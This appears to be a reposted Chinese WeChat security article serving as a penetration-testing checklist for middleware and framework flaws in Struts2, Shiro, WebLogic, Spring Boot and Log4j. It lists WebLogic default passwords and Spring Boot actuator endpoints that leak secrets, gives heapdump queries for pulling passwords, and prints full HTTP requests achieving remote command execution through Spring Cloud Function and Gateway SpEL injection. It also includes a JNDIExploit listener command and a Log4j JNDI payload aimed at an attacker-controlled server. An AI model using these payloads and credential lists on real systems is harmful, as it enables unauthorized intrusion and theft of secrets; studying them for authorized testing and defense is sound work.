免责声明
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把夜组安全“设为星标”,否则可能就看不到了啦!
渗透测试
指纹识别
识别系统使用框架可通过指纹工具识别出所使用的框架或者产品
Wappalyzer
tidefinger
CMS二次开发站点
通过目录扫描发现带有 cms 标识残留页面或者通过图标判断出
通过漏洞库查找相关未修复的漏洞
Struts2
一般使用 struts2 框架后缀带 do 或 action,可以尝试进行利用
后缀为 action,可能使用了 struts2 框架,使用工具尝试进行利用
命令执行成功
Shiro
shiro 框架识别可通过数据包中是否含有 rememberme 字段进行判断
登录抓取数据包,发现存在 rememberme 字段,判断为 shiro 框架,尝试进行
检测当前密钥和利用链是否存在
两者存在利用成功
在攻防演练里 getshell 后还可以对 key 进行修改,防止其他队伍得分
使用潘神的一键改 key 工具,可看到 key 已经被修改
Weblogic
框架识别
访问 7001 端口出现下面这种截图,可能存在 weblogic 漏洞
使用 weblogic 漏洞利用工具,检测是否存在漏洞
执行命令
weblogic 弱口令
输入 console 可跳转至登录界面,可以测试是否使用默认口令
system/password
weblogic/weblogic
admin/security
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
Springboot
框架识别
1、通过 web 应用程序网页标签的小绿叶图标(favicon.ico)
2、通过 springboot 框架默认报错页面
目录扫描接口
推荐章神的 railgun,有对应的 springboot 字典
/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文,同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
/restart、/actuator/restart
POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
/jolokia、/actuator/jolokia
/jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
/trace、/actuator/httptrace
http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie等信息。
springboot exploit
目标地址填入要测试的 url,点击检测环境,然后点击检测当前利用链
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
服务器地址填入目标地址,选择相应的端口
heapdump 密码获取
/heapdump
/actuator/heapdump
使用 Eclipse Memory Analyzer 进行分析
http://www.eclipse.org/downloads/download.php?file=/mat/1.12.0/rcp/MemoryAnalyzer-1.12.0.20210602-win32.win32.x86_64.zip
select s from java.lang.String s where /pass/.test(s.value.toString())
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
11
springboot function spel rce
发送 poc,成功执行命令
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
springboot gateway
添加一个路由
POST /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
刷新令路由生效
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
访问触发漏洞
GET /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
删除路由
DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 4
工具检测
https://github.com/chaosec2021/CVE-2022-22947-POC
Log4j
https://github.com/f0ng/log4j2burpscanner
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}
参考链接
文章作者:pizz33
原文链接:https://pizz33.github.io/
往期精彩
原文始发于微信公众号(夜组安全):常规渗透测试—中间件及框架漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论